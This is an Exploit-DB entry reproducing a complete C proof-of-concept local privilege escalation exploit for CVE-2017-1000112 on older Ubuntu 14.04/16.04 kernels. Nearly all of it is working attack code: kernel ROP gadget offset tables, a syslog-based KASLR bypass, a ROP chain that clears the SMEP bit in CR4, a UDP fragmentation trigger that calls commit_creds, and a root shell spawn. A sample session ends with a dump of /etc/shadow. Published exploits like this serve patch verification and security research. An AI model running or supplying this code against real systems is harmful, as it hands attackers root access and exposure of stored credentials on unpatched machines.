标题: Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) EDB-ID: 43418 CVE: 2017-1000112 类型: LOCAL 平台: LINUX 发布日期: 2017-08-13 漏洞利用脚本: // A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// EDB Note: Also included the work from ~ https://ricklarabee.blogspot.co.uk/2017/12/adapting-poc-for-cve-2017-1000112-to.html
//           Supports: Ubuntu Xenial (16.04) 4.4.0-81 
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
// [.] starting
// [.] checking distro and kernel versions
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, versions looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text:   ffffffffae400000
// [.] commit_creds:        ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>

#define ENABLE_KASLR_BYPASS  1
#define ENABLE_SMEP_BYPASS  1

// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE =  0xffffffff81000000ul;

// Will be overwritten by detect_versions().
int kernel = -1;

struct kernel_info {
 const char* distro;
 const char* version;
 uint64_t commit_creds;
 uint64_t prepare_kernel_cred;
 uint64_t xchg_eax_esp_ret;
 uint64_t pop_rdi_ret;
 uint64_t mov_dword_ptr_rdi_eax_ret;
 uint64_t mov_rax_cr4_ret;
 uint64_t neg_rax_ret;
 uint64_t pop_rcx_ret;
 uint64_t or_rax_rcx_ret;
 uint64_t xchg_eax_edi_ret;
 uint64_t mov_cr4_rdi_ret;
 uint64_t jmp_rcx;
};

struct kernel_info kernels[] = {
 { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
 { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
 { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
 { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
 { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
 { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
 { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
 { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
 { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
 { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
 { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
 { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
 { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
 { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
 { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
 { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
 { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
 { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
 { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
 { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
 { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
 { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
 { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
 { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
 { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
 { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
 { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
 { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
 { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
 { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
 { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
 { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
    { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, 
};

// Used to get root privileges.
#define COMMIT_CREDS   (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED  (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)

// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret 
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET  (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET   (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET   (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET   (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET   (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET   (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET  (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET   (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX    (KERNEL_BASE + kernels[kernel].jmp_rcx)

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

void get_root(void) {
 ((_commit_creds)(COMMIT_CREDS))(
     ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}

// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *

uint64_t saved_esp;

// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
 asm volatile ("     \n\
 payload:     \n\
  movq %%rbp, %%rax   \n\
  movq $0xffffffff00000000, %%rdx  \n\
  andq %%rdx, %%rax   \n\
  movq %0, %%rdx    \n\
  addq %%rdx, %%rax   \n\
  movq %%rax, %%rsp   \n\
  call get_root    \n\
  ret     \n\
 " : : "m"(saved_esp) : );
}

void payload();

#define CHAIN_SAVE_ESP    \
 *stack++ = POP_RDI_RET;   \
 *stack++ = (uint64_t)&saved_esp; \
 *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define SMEP_MASK 0x100000

#define CHAIN_DISABLE_SMEP   \
 *stack++ = MOV_RAX_CR4_RET;  \
 *stack++ = NEG_RAX_RET;   \
 *stack++ = POP_RCX_RET;   \
 *stack++ = SMEP_MASK;   \
 *stack++ = OR_RAX_RCX_RET;  \
 *stack++ = NEG_RAX_RET;   \
 *stack++ = XCHG_EAX_EDI_RET;  \
 *stack++ = MOV_CR4_RDI_RET;

#define CHAIN_JMP_PAYLOAD                     \
 *stack++ = POP_RCX_RET;               \
 *stack++ = (uint64_t)&payload;        \
 *stack++ = JMP_RCX;

void mmap_stack() {
 uint64_t stack_aligned, stack_addr;
 int page_size, stack_size, stack_offset;
 uint64_t* stack;

 page_size = getpagesize();

 stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
 stack_addr = stack_aligned - page_size * 4;
 stack_size = page_size * 8;
 stack_offset = XCHG_EAX_ESP_RET % page_size;

 stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
   MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
 if (stack == MAP_FAILED || stack != (void*)stack_addr) {
  perror("[-] mmap()");
  exit(EXIT_FAILURE);
 }

 stack = (uint64_t*)((char*)stack_aligned + stack_offset);

 CHAIN_SAVE_ESP;
 CHAIN_DISABLE_SMEP;
 CHAIN_JMP_PAYLOAD;
}

// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

void mmap_syslog(char** buffer, int* size) {
 *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
 if (*size == -1) {
  perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
  exit(EXIT_FAILURE);
 }

 *size = (*size / getpagesize() + 1) * getpagesize();
 *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

 *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
 if (*size == -1) {
  perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
  exit(EXIT_FAILURE);
 }
}

unsigned long get_kernel_addr_trusty(char* buffer, int size) {
 const char* needle1 = "Freeing unused";
 char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
 if (substr == NULL) {
  fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
  exit(EXIT_FAILURE);
 }

 int start = 0;
 int end = 0;
 for (end = start; substr[end] != '-'; end++);

 const char* needle2 = "ffffff";
 substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
 if (substr == NULL) {
  fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
  exit(EXIT_FAILURE);
 }

 char* endptr = &substr[16];
 unsigned long r = strtoul(&substr[0], &endptr, 16);

 r &= 0xffffffffff000000ul;

 return r;
}

unsigned long get_kernel_addr_xenial(char* buffer, int size) {
 const char* needle1 = "Freeing unused";
 char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
 if (substr == NULL) {
  fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
  exit(EXIT_FAILURE);
 }

 int start = 0;
 int end = 0;
 for (start = 0; substr[start] != '-'; start++);
 for (end = start; substr[end] != '\n'; end++);

 const char* needle2 = "ffffff";
 substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
 if (substr == NULL) {
  fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
  exit(EXIT_FAILURE);
 }

 char* endptr = &substr[16];
 unsigned long r = strtoul(&substr[0], &endptr, 16);

 r &= 0xfffffffffff00000ul;
 r -= 0x1000000ul;

 return r;
}

unsigned long get_kernel_addr() {
 char* syslog;
 int size;
 mmap_syslog(&syslog, &size);

 if (strcmp("trusty", kernels[kernel].distro) == 0 &&
     strncmp("4.4.0", kernels[kernel].version, 5) == 0)
  return get_kernel_addr_trusty(syslog, size);
 if (strcmp("xenial", kernels[kernel].distro) == 0 &&
     strncmp("4.4.0", kernels[kernel].version, 5) == 0 ||
     strncmp("4.8.0", kernels[kernel].version, 5) == 0)
  return get_kernel_addr_xenial(syslog, size);

 printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
 exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {
 uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
 uint64_t ctx;  // void *
 uint64_t desc;  // unsigned long
};

struct skb_shared_info {
 uint8_t nr_frags; // unsigned char
 uint8_t tx_flags; // __u8
 uint16_t gso_size; // unsigned short
 uint16_t gso_segs; // unsigned short
 uint16_t gso_type; // unsigned short
 uint64_t frag_list; // struct sk_buff *
 uint64_t hwtstamps; // struct skb_shared_hwtstamps
 uint32_t tskey;  // u32
 uint32_t ip6_frag_id; // __be32
 uint32_t dataref; // atomic_t
 uint64_t destructor_arg; // void *
 uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, unsigned long func) {
 struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
 memset(ssi, 0, sizeof(*ssi));

 ssi->tx_flags = 0xff;
 ssi->destructor_arg = (uint64_t)&ui;
 ssi->nr_frags = 0;
 ssi->frag_list = 0;

 ui.callback = func;
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define SHINFO_OFFSET 3164

void oob_execute(unsigned long payload) {
 char buffer[4096];
 memset(&buffer[0], 0x42, 4096);
 init_skb_buffer(&buffer[SHINFO_OFFSET], payload);

 int s = socket(PF_INET, SOCK_DGRAM, 0);
 if (s == -1) {
  perror("[-] socket()");
  exit(EXIT_FAILURE);
 }

 struct sockaddr_in addr;
 memset(&addr, 0, sizeof(addr));
 addr.sin_family = AF_INET;
 addr.sin_port = htons(8000);
 addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

 if (connect(s, (void*)&addr, sizeof(addr))) {
  perror("[-] connect()");
  exit(EXIT_FAILURE);
 }

 int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
 int rv = send(s, buffer, size, MSG_MORE);
 if (rv != size) {
  perror("[-] send()");
  exit(EXIT_FAILURE);
 }

 int val = 1;
 rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
 if (rv != 0) {
  perror("[-] setsockopt(SO_NO_CHECK)");
  exit(EXIT_FAILURE);
 }

 send(s, buffer, 1, 0);

 close(s);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
 int f = open(file, O_RDONLY);
 if (f == -1)
  return -1;
 int bytes_read = 0;
 while (true) {
  int bytes_to_read = CHUNK_SIZE;
  if (bytes_to_read > max_length - bytes_read)
   bytes_to_read = max_length - bytes_read;
  int rv = read(f, &buffer[bytes_read], bytes_to_read);
  if (rv == -1)
   return -1;
  bytes_read += rv;
  if (rv == 0)
   return bytes_read;
 }
}

#define LSB_RELEASE_LENGTH 1024

void get_distro_codename(char* output, int max_length) {
 char buffer[LSB_RELEASE_LENGTH];
 int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
 if (length == -1) {
  perror("[-] open/read(/etc/lsb-release)");
  exit(EXIT_FAILURE);
 }
 const char *needle = "DISTRIB_CODENAME=";
 int needle_length = strlen(needle);
 char* found = memmem(&buffer[0], length, needle, needle_length);
 if (found == NULL) {
  printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
  exit(EXIT_FAILURE);
 }
 int i;
 for (i = 0; found[needle_length + i] != '\n'; i++) {
  assert(i < max_length);
  assert((found - &buffer[0]) + needle_length + i < length);
  output[i] = found[needle_length + i];
 }
}

void get_kernel_version(char* output, int max_length) {
 struct utsname u;
 int rv = uname(&u);
 if (rv != 0) {
  perror("[-] uname())");
  exit(EXIT_FAILURE);
 }
 assert(strlen(u.release) <= max_length);
 strcpy(&output[0], u.release);
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32

void detect_versions() {
 char codename[DISTRO_CODENAME_LENGTH];
 char version[KERNEL_VERSION_LENGTH];

 get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
 get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

 int i;
 for (i = 0; i < ARRAY_SIZE(kernels); i++) {
  if (strcmp(&codename[0], kernels[i].distro) == 0 &&
      strcmp(&version[0], kernels[i].version) == 0) {
   printf("[.] kernel version '%s' detected\n", kernels[i].version);
   kernel = i;
   return;
  }
 }

 printf("[-] kernel version not recognized\n");
 exit(EXIT_FAILURE);
}

#define PROC_CPUINFO_LENGTH 4096

// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
 char buffer[PROC_CPUINFO_LENGTH];
 int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
 if (length == -1) {
  perror("[-] open/read(/proc/cpuinfo)");
  exit(EXIT_FAILURE);
 }
 int rv = 0;
 char* found = memmem(&buffer[0], length, "smep", 4);
 if (found != NULL)
  rv += 1;
 found = memmem(&buffer[0], length, "smap", 4);
 if (found != NULL)
  rv += 2;
 return rv;
}

void check_smep_smap() {
 int rv = smap_smep_enabled();
 if (rv >= 2) {
  printf("[-] SMAP detected, no bypass available\n");
  exit(EXIT_FAILURE);
 }
#if !ENABLE_SMEP_BYPASS
 if (rv >= 1) {
  printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
  exit(EXIT_FAILURE);
 }
#endif
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

static bool write_file(const char* file, const char* what, ...) {
 char buf[1024];
 va_list args;
 va_start(args, what);
 vsnprintf(buf, sizeof(buf), what, args);
 va_end(args);
 buf[sizeof(buf) - 1] = 0;
 int len = strlen(buf);

 int fd = open(file, O_WRONLY | O_CLOEXEC);
 if (fd == -1)
  return false;
 if (write(fd, buf, len) != len) {
  close(fd);
  return false;
 }
 close(fd);
 return true;
}

void setup_sandbox() {
 int real_uid = getuid();
 int real_gid = getgid();

 if (unshare(CLONE_NEWUSER) != 0) {
  printf("[!] unprivileged user namespaces are not available\n");
  perror("[-] unshare(CLONE_NEWUSER)");
  exit(EXIT_FAILURE);
 }
 if (unshare(CLONE_NEWNET) != 0) {
  perror("[-] unshare(CLONE_NEWUSER)");
  exit(EXIT_FAILURE);
 }

 if (!write_file("/proc/self/setgroups", "deny")) {
  perror("[-] write_file(/proc/self/set_groups)");
  exit(EXIT_FAILURE);
 }
 if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
  perror("[-] write_file(/proc/self/uid_map)");
  exit(EXIT_FAILURE);
 }
 if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  perror("[-] write_file(/proc/self/gid_map)");
  exit(EXIT_FAILURE);
 }

 cpu_set_t my_set;
 CPU_ZERO(&my_set);
 CPU_SET(0, &my_set);
 if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  perror("[-] sched_setaffinity()");
  exit(EXIT_FAILURE);
 }

 if (system("/sbin/ifconfig lo mtu 1500") != 0) {
  perror("[-] system(/sbin/ifconfig lo mtu 1500)");
  exit(EXIT_FAILURE);
 }
 if (system("/sbin/ifconfig lo up") != 0) {
  perror("[-] system(/sbin/ifconfig lo up)");
  exit(EXIT_FAILURE);
 }
}

void exec_shell() {
 char* shell = "/bin/bash";
 char* args[] = {shell, "-i", NULL};
 execve(shell, args, NULL);
}

bool is_root() {
 // We can't simple check uid, since we're running inside a namespace
 // with uid set to 0. Try opening /etc/shadow instead.
 int fd = open("/etc/shadow", O_RDONLY);
 if (fd == -1)
  return false;
 close(fd);
 return true;
}

void check_root() {
 printf("[.] checking if we got root\n");
 if (!is_root()) {
  printf("[-] something went wrong =(\n");
  return;
 }
 printf("[+] got r00t ^_^\n");
 exec_shell();
}

int main(int argc, char** argv) {
 printf("[.] starting\n");

 printf("[.] checking distro and kernel versions\n");
 detect_versions();
 printf("[~] done, versions looks good\n");

 printf("[.] checking SMEP and SMAP\n");
 check_smep_smap();
 printf("[~] done, looks good\n");

 printf("[.] setting up namespace sandbox\n");
 setup_sandbox();
 printf("[~] done, namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
 printf("[.] KASLR bypass enabled, getting kernel addr\n");
 KERNEL_BASE = get_kernel_addr();
 printf("[~] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

 printf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
 printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);

 unsigned long payload = (unsigned long)&get_root;

#if ENABLE_SMEP_BYPASS
 printf("[.] SMEP bypass enabled, mmapping fake stack\n");
 mmap_stack();
 payload = XCHG_EAX_ESP_RET;
 printf("[~] done, fake stack mmapped\n");
#endif

 printf("[.] executing payload %lx\n", payload);
 oob_execute(payload);
 printf("[~] done, should be root now\n");

 check_root();

 return 0;
} URL: https://www.exploit-db.com/exploits/43418